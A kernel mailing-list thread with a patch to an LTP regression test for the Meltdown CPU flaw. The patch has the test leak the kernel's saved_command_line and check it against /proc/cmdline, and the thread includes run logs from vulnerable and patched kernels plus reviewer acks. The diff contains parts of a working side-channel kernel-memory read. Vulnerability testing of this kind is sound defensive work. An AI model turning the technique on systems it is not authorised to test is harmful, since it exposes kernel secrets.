cve/meltdown: read *saved_command_line
PATCH 1/1 cve/meltdown: read *saved_command_line
After commit 8c06c7740d19 ("x86/pti: Leave kernel text global for !PCID"), kernel can now map all of kernel text into the user page tables. So, read of "linux_proc_banner" can succeed and report a false positive.
This patch changes the test to read value of "saved_command_line" pointer and then also memory pointed to by it. And compares result (first 32 bytes) to /proc/cmdline. saved_command_line string is allocated dynamically and falls outside of (_text, _end) area:
crash> p/x _text
$2 = 0xffffffff81000000 <startup_64>
crash> p/x _end
$3 = 0xffffffff82411000
crash> p/x &saved_command_line
$4 = 0xffffffff81cf3008
crash> p/x saved_command_line
$5 = 0xffff88007ff55100
so test should work on kernels with and without the patch.
--- testcases/cve/meltdown.c | 64 ++++++++++++++++++++++++++++++++++++------------ 1 file changed, 48 insertions(+), 16 deletions(-)
1. older kernel: 3.10.0-693.el7.x86_64
# ./meltdown tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s meltdown.c:259: INFO: access time: cached = 61, uncached = 501, threshold = 174 meltdown.c:309: INFO: &saved_command_line == 0xffffffff81cf3008 meltdown.c:342: INFO: read ffffffff81cf3008 = 0x00 meltdown.c:342: INFO: read ffffffff81cf3009 = 0x51 Q meltdown.c:342: INFO: read ffffffff81cf300a = 0xf5 meltdown.c:342: INFO: read ffffffff81cf300b = 0x7f meltdown.c:342: INFO: read ffffffff81cf300c = 0x00 meltdown.c:342: INFO: read ffffffff81cf300d = 0x88 meltdown.c:342: INFO: read ffffffff81cf300e = 0xff meltdown.c:342: INFO: read ffffffff81cf300f = 0xff meltdown.c:350: INFO: save_command_line: 0xffff88007ff55100 meltdown.c:362: INFO: read ffff88007ff55100 = 0x42 B | expected 0x42 | match: 1 meltdown.c:362: INFO: read ffff88007ff55101 = 0x4f O | expected 0x4f | match: 1 meltdown.c:362: INFO: read ffff88007ff55102 = 0x4f O | expected 0x4f | match: 1 meltdown.c:362: INFO: read ffff88007ff55103 = 0x54 T | expected 0x54 | match: 1 meltdown.c:362: INFO: read ffff88007ff55104 = 0x5f _ | expected 0x5f | match: 1 meltdown.c:362: INFO: read ffff88007ff55105 = 0x49 I | expected 0x49 | match: 1 meltdown.c:362: INFO: read ffff88007ff55106 = 0x4d M | expected 0x4d | match: 1 meltdown.c:362: INFO: read ffff88007ff55107 = 0x41 A | expected 0x41 | match: 1 meltdown.c:362: INFO: read ffff88007ff55108 = 0x47 G | expected 0x47 | match: 1 meltdown.c:362: INFO: read ffff88007ff55109 = 0x45 E | expected 0x45 | match: 1 meltdown.c:362: INFO: read ffff88007ff5510a = 0x3d = | expected 0x3d | match: 1 meltdown.c:362: INFO: read ffff88007ff5510b = 0x2f / | expected 0x2f | match: 1 meltdown.c:362: INFO: read ffff88007ff5510c = 0x76 v | expected 0x76 | match: 1 meltdown.c:362: INFO: read ffff88007ff5510d = 0x6d m | expected 0x6d | match: 1 meltdown.c:362: INFO: read ffff88007ff5510e = 0x6c l | expected 0x6c | match: 1 meltdown.c:362: INFO: read ffff88007ff5510f = 0x69 i | expected 0x69 | match: 1 meltdown.c:362: INFO: read ffff88007ff55110 = 0x6e n | expected 0x6e | match: 1 meltdown.c:362: INFO: read ffff88007ff55111 = 0x75 u | expected 0x75 | match: 1 meltdown.c:362: INFO: read ffff88007ff55112 = 0x7a z | expected 0x7a | match: 1 meltdown.c:362: INFO: read ffff88007ff55113 = 0x2d - | expected 0x2d | match: 1 meltdown.c:362: INFO: read ffff88007ff55114 = 0x33 3 | expected 0x33 | match: 1 meltdown.c:362: INFO: read ffff88007ff55115 = 0x2e . | expected 0x2e | match: 1 meltdown.c:362: INFO: read ffff88007ff55116 = 0x31 1 | expected 0x31 | match: 1 meltdown.c:362: INFO: read ffff88007ff55117 = 0x30 0 | expected 0x30 | match: 1 meltdown.c:362: INFO: read ffff88007ff55118 = 0x2e . | expected 0x2e | match: 1 meltdown.c:362: INFO: read ffff88007ff55119 = 0x30 0 | expected 0x30 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511a = 0x2d - | expected 0x2d | match: 1 meltdown.c:362: INFO: read ffff88007ff5511b = 0x36 6 | expected 0x36 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511c = 0x39 9 | expected 0x39 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511d = 0x33 3 | expected 0x33 | match: 1 meltdown.c:362: INFO: read ffff88007ff5511e = 0x2e . | expected 0x2e | match: 1 meltdown.c:362: INFO: read ffff88007ff5511f = 0x65 e | expected 0x65 | match: 1 meltdown.c:373: FAIL: I was able to read your kernel memory!!! meltdown.c:376: INFO: score(matched/all): 32 / 32
2. recent upstream kernel: 4.17+
# ./meltdown tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s meltdown.c:259: INFO: access time: cached = 49, uncached = 332, threshold = 127 meltdown.c:309: INFO: &saved_command_line == 0xffffffffaa993008 meltdown.c:342: INFO: read ffffffffaa993008 = 0x00 meltdown.c:342: INFO: read ffffffffaa993009 = 0x00 meltdown.c:342: INFO: read ffffffffaa99300a = 0x00 meltdown.c:342: INFO: read ffffffffaa99300b = 0x00 meltdown.c:342: INFO: read ffffffffaa99300c = 0x00 meltdown.c:342: INFO: read ffffffffaa99300d = 0x00 meltdown.c:342: INFO: read ffffffffaa99300e = 0x00 meltdown.c:342: INFO: read ffffffffaa99300f = 0x00 meltdown.c:350: INFO: save_command_line: 0x0 meltdown.c:375: PASS: I was not able to read your kernel memory meltdown.c:376: INFO: score(matched/all): 0 / 32
testcases/cve/meltdown.c +48 -16
@@ -189,7 +189,7 @@ readbit(int fd, unsigned long addr, char bit)for (i =0 ; i <CYCLES ; i++) { ret =pread (fd, buf,sizeof (buf),0 );if (ret <0 ) -tst_res (TBROK |TERRNO ,"can't read /proc/version" ); +tst_res (TBROK |TERRNO ,"can't read fd" );clflush_target ();
@@ -298,17 +298,17 @@ find_kernel_symbol(const char *name)return addr; } -unsigned long linux_proc_banner_addr; -int banner_fd; +static unsigned long saved_cmdline_addr; +static int spec_fd;static void setup (void ) {set_cache_hit_threshold (); - linux_proc_banner_addr =find_kernel_symbol ("linux_proc_banner" ); -tst_res (TINFO ,"linux_proc_banner is@%lx" , linux_proc_banner_addr); + saved_cmdline_addr =find_kernel_symbol ("saved_command_line" ); +tst_res (TINFO ,"&saved_command_line == 0x%lx" , saved_cmdline_addr); - banner_fd =SAFE_OPEN ("/proc/version" ,O_RDONLY ); + spec_fd =SAFE_OPEN ("/proc/cmdline" ,O_RDONLY );memset (target_array,1 ,sizeof (target_array));
@@ -316,37 +316,69 @@ static void setup(void)tst_res (TBROK |TERRNO ,"set_signal" ); } +#define READ_SIZE 32 +static void run (void ) { -unsigned int i, score, ret; -static char expected[] ="%s version %s" ; -static char read[32 ]; -unsigned long addr = linux_proc_banner_addr; -unsigned long size =sizeof (expected) -1 ; - +unsigned int i, score =0 , ret; +unsigned long addr; +unsigned long size; +char read[READ_SIZE ] = {0 }; +char expected[READ_SIZE ] = {0 }; +int expected_len; + + expected_len =pread (spec_fd, expected,sizeof (expected),0 ); +if (expected_len <0 ) +tst_res (TBROK |TERRNO ,"can't read test fd" ); + +/* read address of saved_cmdline_addr */ + addr = saved_cmdline_addr; + size =sizeof (addr);for (i =0 ; i < size; i++) { - ret =readbyte (banner_fd, addr); + ret =readbyte (spec_fd, addr); read[i] = ret; -tst_res (TINFO ,"read %lx = 0x%x %c" , addr, ret, +tst_res (TINFO ,"read %lx = 0x%02x %c" , addr, ret,isprint (ret) ? ret :' ' ); addr++; } -for (score =0 , i =0 ; i < size; i++) +/* read value pointed to by saved_cmdline_addr */ +memcpy (&addr, read,sizeof (addr)); +memset (read,0 ,sizeof (read)); +tst_res (TINFO ,"save_command_line: 0x%lx" , addr); + size = expected_len; + +if (!addr) + goto done; + +for (i =0 ; i < size; i++) { + ret =readbyte (spec_fd, addr); + + read[i] = ret; +tst_res (TINFO ,"read %lx = 0x%02x %c | expected 0x%02x |" +" match: %d" , addr, ret,isprint (ret) ? ret :' ' , + expected[i], read[i] == expected[i]); + + addr++; + } + +for (i =0 ; i < size; i++)if (expected[i] == read[i]) score++; +done:if (score > size /2 )tst_res (TFAIL ,"I was able to read your kernel memory!!!" );else tst_res (TPASS ,"I was not able to read your kernel memory" ); +tst_res (TINFO ,"score(matched/all): %u / %lu" , score, size); }static void cleanup (void ) { -SAFE_CLOSE (banner_fd); +SAFE_CLOSE (spec_fd); }static struct tst_test test = {
Signature · 1 line
1.8.3.1
PATCH 1/1 cve/meltdown: read *saved_command_line
Hi Jan,
Quoted 4 lines · Jan Stancek
After commit
8c06c7740d19("x86/pti: Leave kernel text global for !PCID"), kernel can now map all of kernel text into the user page tables. So, read of "linux_proc_banner" can succeed and report a false positive.
Quoted 13 lines
This patch changes the test to read value of "
saved_command_line" pointer and then also memory pointed to by it. And compares result (first 32 bytes) to/proc/cmdline.saved_command_linestring is allocated dynamically and falls outside of (_text,_end) area:
crash> p/x_text
$2 =0xffffffff81000000<startup_64>
crash> p/x_end
$3 =0xffffffff82411000
crash> p/x&saved_command_line
$4 =0xffffffff81cf3008
crash> p/xsaved_command_line
$5 =0xffff88007ff55100
so test should work on kernels with and without the patch.
Awesome!
I tried this on a kvm guest(didn't have pcid && pti_mode == PTI_AUTO) which leaving all kernel text global, the program was able to read '&saved_command_line'(which located in kernel text area) and 'saved_command_line' value, but it could NOT read the content of saved_command_line point to. So I think this patch is making sense.
# uname -r 4.18.0-rc1.fi+
# systemd-detect-virt kvm
# journalctl |grep isolation Jun 22 01:13:43 localhost.localdomain kernel: Kernel/User page tables isolation: enabled
# ./meltdown tst_test.c:1015: INFO: Timeout per run is 0h 05m 00s meltdown.c:259: INFO: access time: cached = 77, uncached = 272, threshold = 144 meltdown.c:309: INFO: &saved_command_line == 0xffffffff86f90240 meltdown.c:342: INFO: read ffffffff86f90240 = 0x80 meltdown.c:342: INFO: read ffffffff86f90241 = 0xc5 meltdown.c:342: INFO: read ffffffff86f90242 = 0xf4 meltdown.c:342: INFO: read ffffffff86f90243 = 0x7f meltdown.c:342: INFO: read ffffffff86f90244 = 0x01 meltdown.c:342: INFO: read ffffffff86f90245 = 0x88 meltdown.c:342: INFO: read ffffffff86f90246 = 0xff meltdown.c:342: INFO: read ffffffff86f90247 = 0xff meltdown.c:350: INFO: save_command_line: 0xffff88017ff4c580 meltdown.c:362: INFO: read ffff88017ff4c580 = 0x00 | expected 0x42 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c581 = 0x00 | expected 0x4f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c582 = 0x00 | expected 0x4f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c583 = 0x00 | expected 0x54 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c584 = 0x00 | expected 0x5f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c585 = 0x00 | expected 0x49 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c586 = 0x00 | expected 0x4d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c587 = 0x00 | expected 0x41 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c588 = 0x00 | expected 0x47 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c589 = 0x00 | expected 0x45 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58a = 0x00 | expected 0x3d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58b = 0x00 | expected 0x2f | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58c = 0x00 | expected 0x76 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58d = 0x00 | expected 0x6d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58e = 0x00 | expected 0x6c | match: 0 meltdown.c:362: INFO: read ffff88017ff4c58f = 0x00 | expected 0x69 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c590 = 0x00 | expected 0x6e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c591 = 0x00 | expected 0x75 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c592 = 0x00 | expected 0x7a | match: 0 meltdown.c:362: INFO: read ffff88017ff4c593 = 0x00 | expected 0x2d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c594 = 0x00 | expected 0x34 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c595 = 0x00 | expected 0x2e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c596 = 0x00 | expected 0x31 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c597 = 0x00 | expected 0x38 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c598 = 0x00 | expected 0x2e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c599 = 0x00 | expected 0x30 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59a = 0x00 | expected 0x2d | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59b = 0x00 | expected 0x72 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59c = 0x00 | expected 0x63 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59d = 0x00 | expected 0x31 | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59e = 0x00 | expected 0x2e | match: 0 meltdown.c:362: INFO: read ffff88017ff4c59f = 0x00 | expected 0x66 | match: 0 meltdown.c:375: PASS: I was not able to read your kernel memory meltdown.c:376: INFO: score(matched/all): 0 / 32
Summary:
passed 1 failed 0 skipped 0
warnings 0
Quoted 2 lines
Signed-off-by Jan Stancek <[email protected]>
Signature · 2 lines
Regards, Li Wang
PATCH 1/1 cve/meltdown: read *saved_command_line
In reply to Jan StancekHi!
Looking at kernel git the saved_command_line is allocated dynamically since 2.6.21 which I guess is old enough but we may as well mention this in the commit message:
commit 30d7e0d466b3ac0b5ef77e4062bf9385f0d72270
Author: Alon Bar-Lev <[email protected]> Date: Mon Feb 12 00:53:52 2007 -0800
[PATCH] Dynamic kernel command-line: common
Other than that it looks good, acked.
Signature · 2 lines
Cyril Hrubis [email protected]
PATCH 1/1 cve/meltdown: read *saved_command_line
----- Original Message -----
Quoted 10 lines
Hi!
Looking at kernel git thesaved_command_lineis allocated dynamically since 2.6.21 which I guess is old enough but we may as well mention this in the commit message:commit
30d7e0d466b3ac0b5ef77e4062bf9385f0d72270Author: Alon Bar-Lev <[email protected]> Date: Mon Feb 12 00:53:52 2007 -0800[PATCH] Dynamic kernel command-line: common
I added this to commit message. It should be old enough, we run the test on kernels older than 2.6.32 anyway.
Quoted 1 line
Other than that it looks good, acked.
Thanks, pushed.
Jan